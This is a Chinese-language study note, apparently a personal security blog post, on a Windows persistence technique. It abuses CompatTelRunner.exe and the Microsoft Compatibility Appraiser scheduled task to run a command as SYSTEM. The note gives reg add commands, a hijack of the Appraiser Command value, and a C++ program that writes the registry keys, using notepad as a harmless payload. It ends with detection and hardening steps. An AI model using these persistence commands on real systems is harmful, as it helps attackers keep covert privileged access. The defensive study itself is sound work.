Windows_TelemetryController权限维持学习笔记

Windows TelemetryController权限维持

本文是对以下文章的学习,记录学习心得和利用方法。

参考文章

0x01 介绍

该方式由于要写注册表,需要管理员权限,感觉比较鸡肋,所以学习多一种权限维持的方法。拥有管理员权限也还有其他更多权限维持的方法可以利用。

该技术在ATT&CK中编号是T1053.005。利用了Windows计划任务进行权限维持。

0x02 前置知识

TelemetryController Windows7及以上系统的遥测技术,是微软检测用户Win10兼容性的侦测程序,所以win7默认是没有这个的,需要打了[kb4507456](https://support.microsoft.com/en-us/topic/july-9-2019-kb4507456-security-only-update-cf4fc923-90c0-dd46-401e-d3741a2afe71)或者是KB44900628SSU补丁包后才会有该计划任务。

对应的进程为CompatTelRunner.exe,会定期将计算机的诊断和使用数据、系统信息、自动发送给Windows。

可通过计划任务启动(管理员权限)。

1
schtasks /run /tn "\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser"

https://images.atsud0.me/images/post/20220214-16:43:09-_x8ubnV_L5bDG7_x8ubnV_1644828189706_x8ubnV_L5bDG7.png

计划面板位置:\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser

该计划任务默认启用,并在有网络连接的前提下,每天运行一次。不管用户有没有登录也会运行。

在命令行中查看该计划任务

1
2
3
4
5
6
7
8
schtasks /query /tn "\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser"

# 显示详细信息
schtasks /query /tn "\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser" /v

# 启用计划任务

schtasks /Change /ENABLE /tn "\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser"

https://images.atsud0.me/images/post/20220214-16:58:09-_bFcFQi_2SGdwD_bFcFQi_1644829089970_bFcFQi_2SGdwD.png

除此之外CompatTelRunner.exe有三种运行模式(Nighlty、Oobe、Maintenance),本文利用主要依赖普通模式(Nighlty),程序运行需要满足以下条件其中一条

  • 系统是Windows10 或者是 Server 2019
  • 系统是Windows客户端版本
  • HKEY_LOCAL_MACHINE \Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection\CommercialDataOptIn是DWORD类型 并且不为0

如果程序指定了dll和api函数,将会验证其是否在允许的白名单里面,避免被滥用。然后会启动dll执行指定的函数,如果没有指定dll和api函数,就会继续运行,执行下一步检查运行模式。

如果HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatFlags\TelemetryController\Oobe存在并且没有提供maintenance参数则会进入oobe模式(没搞懂这模式干什么的),如果提供了maintenance参数,则会开始验证运行进入模式0,并验证注册表HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatFlags\TelemetryController\TestAllowRun的类型是否为REG_DWORD和值不为0。然后会开始检查一些系统状态(主要是电源的状态)

  • 电源保护程序没有开启,如果开启,则一直失败。
  • 机器处于充电状态。
  • 如果已经验证失败4次,电源状态未知,但电池大于5%,或者在充电,则通过检查。

如果通过了一次验证,则会将**HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatFlags\TelemetryController的RunsBlocked值项修改为0,**如果验证没有通过则为1。

如果没有提供额外的命令行参数,则会进行模式1(Nightly)。

确定了运行模式后,则会对计划任务进行一些检查,然后进入**HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatFlags\TelemetryController**的区域,运行该键下的子键内容。

0x03 利用

注册表位置:Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\

在该注册表项中添加的任意Key会影响到CompatTelRunner.exe的运行参数。

常规利用

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\下添加任意键,并添加下面值项内容

添加的值项信息如下

1
2
Command REG_SZ C:\Windows\System32\notepad.exe
Nightly REG_DWORD 1

通过命令实现

1
2
3
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\test" /v Nightly /t REG_DWORD /d 1

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\test" /v Command /t REG_SZ /d "C:\Windows\system32\notepad.exe" /f

https://images.atsud0.me/images/post/20220214-17:59:50-_saqup1_H2LnZV_saqup1_1644832790503_saqup1_H2LnZV.png

使用命令手动运行计划任务

1
schtasks /run /tn "\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser"

通过Process Explorer发现notepad.exeCompatTelRunner.exe启动

https://images.atsud0.me/images/post/20220214-17:38:06-_vfsDrp_rJqYzx_vfsDrp_1644831486712_vfsDrp_rJqYzx.jpg

在Win10系统下,通过CompatTelRunner.exe检查后会以System权限运行notepad.exeCompatTelRunner.exe

https://images.atsud0.me/images/post/20220215-18:11:37-_tQhRro_XtYq5N_tQhRro_1644919897545_tQhRro_XtYq5N.png

https://images.atsud0.me/images/post/20220215-19:12:47-_hoYXK9_G6cLzX_hoYXK9_1644923567197_hoYXK9_G6cLzX.png

Win10在无网络连接的情况下,命令行执行计划任务,还是会以System用户执行,CompatTelRunner.exe会持续执行一段时间,大概十多分钟后CompatTelRunner.exe将会运行notepad.exe

Win7在无网络连接(指网络连接被禁用)的情况,命令行运行该计划任务,CompatTelRunner.exe及其后续程序将不会被运行。

更稳定的利用方式

这个方法在三好学生的文章下看到。

三好学生发现直接修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser的Command值项,能绕过检查,并且能稳定执行Command。

修改注册表配置命令

1
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser" /v Command /t REG_EXPAND_SZ /d "C:\WINDOWS\system32\cmd.exe /c notepad.exe" /f

还原配置命令

1
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser" /v Command /t REG_EXPAND_SZ /d "%windir%\system32\CompatTelRunner.exe -m:appraiser.dll -f:DoScheduledTelemetryRun" /f

手动执行计划任务运行

1
schtasks /run /tn "\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser"

经过测试Sku项会影响compattelrunner.exe执行,当Sku项值为1时,则会运行Command的内容,若Sku为0或者是其他,就不会运行Command项的内容,Sku项不存在,则默认为1(猜的)。

在测试模式的时候,发现以管理员权限在cmd下直接运行compattelrunner.exe,也会执行相应的程序,不过这样执行的话,权限自然就是用户权限,不是System了。

https://images.atsud0.me/images/post/20220216-16:17:13-_9bLCsx_sI0Lwu_9bLCsx_1644999433689_9bLCsx_sI0Lwu.png

另外Win7在断网的情况下,也可以正常执行(有网络连接,但是不能上网的情况)。

失败的DLL侧加载

当查看默认Command值时发现为

1
CompatTelRunner.exe -m:appraiser.dll -f:DoScheduledTelemetryRun

下意识的以为能够作为dll loader工具进行dll侧加载。但是进行了一些简单的测试后发现并不行。。

If command line parameters that specify a DLL/function are provided, CompatTelRunner.exe validates them against an approved list. This causes CompatTelRunner.exe to start the DLL provider and exit. If a DLL/function name is not provided, the program continues on to identifying the run mode.

这描述简单说明了,程序会检查输入的dll,和要执行的api函数,防止被滥用。

程序会检查是否从系统目录中进行加载dll,dll、api函数是否为白名单的内容,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
appraiser.dll
generaltel.dll
invagent.dll
devinv.dll
aeinv.dll
aepic.dll
pcasvc.dll

DoScheduledTelemetryRun
UpdateAvStatus
RunGeneralTelemetry
DoCensusRun
RunInUserCxtW
RunUpdate
GetFileSigningInfo
CreateDeviceInventory
UpdateSoftwareInventoryW
UpdateSoftwareInventory
GetCITData
QueryEncapsulationSettings

尝试武器化

正好用来学习使用Win32api来对注册表进行修改。

常规利用方式的代码(C++实现)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <iostream>
#include <Windows.h>

int regKeyCreate()
{
HKEY hMainKey = HKEY_LOCAL_MACHINE; //根键
HKEY hSubKey; //存放子键句柄
DWORD dwOpenOrCreate = 0;
//在此位置创建任意Key :SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\
LONG ReturnValue = RegCreateKeyEx(hMainKey,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\JustForFun",
0, NULL, 0, KEY_ALL_ACCESS, NULL, &hSubKey, &dwOpenOrCreate);
if (ReturnValue == ERROR_SUCCESS)
{
//Set Value Entry Command , The value is string,usually is a execute path
LPCTSTR value = TEXT("Command");
WCHAR data[50] = TEXT("C:\\Windows\\system32\\notepad.exe");
if(RegSetValueEx(hSubKey, value, NULL, REG_SZ, (LPBYTE)data, sizeof(data)) == ERROR_SUCCESS)
{
std::cout << "Set Command Value Done\n";
}
else
{
std::cout << "Set Command Value Error\n";
}

//Set Value Entry Nightly , The Value is
value = TEXT("Nightly");
DWORD dwValue = 0x01;
if (RegSetValueEx(hSubKey, value, NULL, REG_DWORD, (BYTE *)&dwValue, sizeof(DWORD)) == ERROR_SUCCESS)
{
std::cout << "Set Nightly Value Done\n";
}
else
{
std::cout << "Set Nightly Value Error\n";
}
RegCloseKey(hSubKey);
}
else
{
std::cout << "CreateKey has Error!!!\n";
}
return 0;
}

int main(int argc, char* argv[])
{
std::cout << "Hello World!\n";
regKeyCreate();
system("pause");

}

https://images.atsud0.me/images/post/20220216-21:24:27-_PpNlBV_w1d9Bd_PpNlBV_1645017867076_PpNlBV_w1d9Bd.png

0x04 防御加固

检查进程CompatTelRunner.exe

分析进程CompatTelRunner.exe下是否有可疑子进程。

禁用计划任务Microsoft Compatibility Appraiser

1
schtasks /Change /DISABLE /tn "\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser"

查看注册表的默认值是否被修改

查看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser键的Commond项是否被篡改,默认值为:

1
Command    REG_EXPAND_SZ    %windir%\system32\CompatTelRunner.exe -m:appraiser.dll -f:DoScheduledTelemetryRun

查看注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController下是否有可疑的子键

1
reg query "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\"

默认值如下:

1
2
3
4
5
6
7
8
9
10
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\AppraiserServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\AvStatus
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Census
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\CensusServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\InvAgent

#Win10下可能还有这两个
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Encapsulation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\DevInv

加固

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatFlags\TelemetryController\子键的Sku项设置为0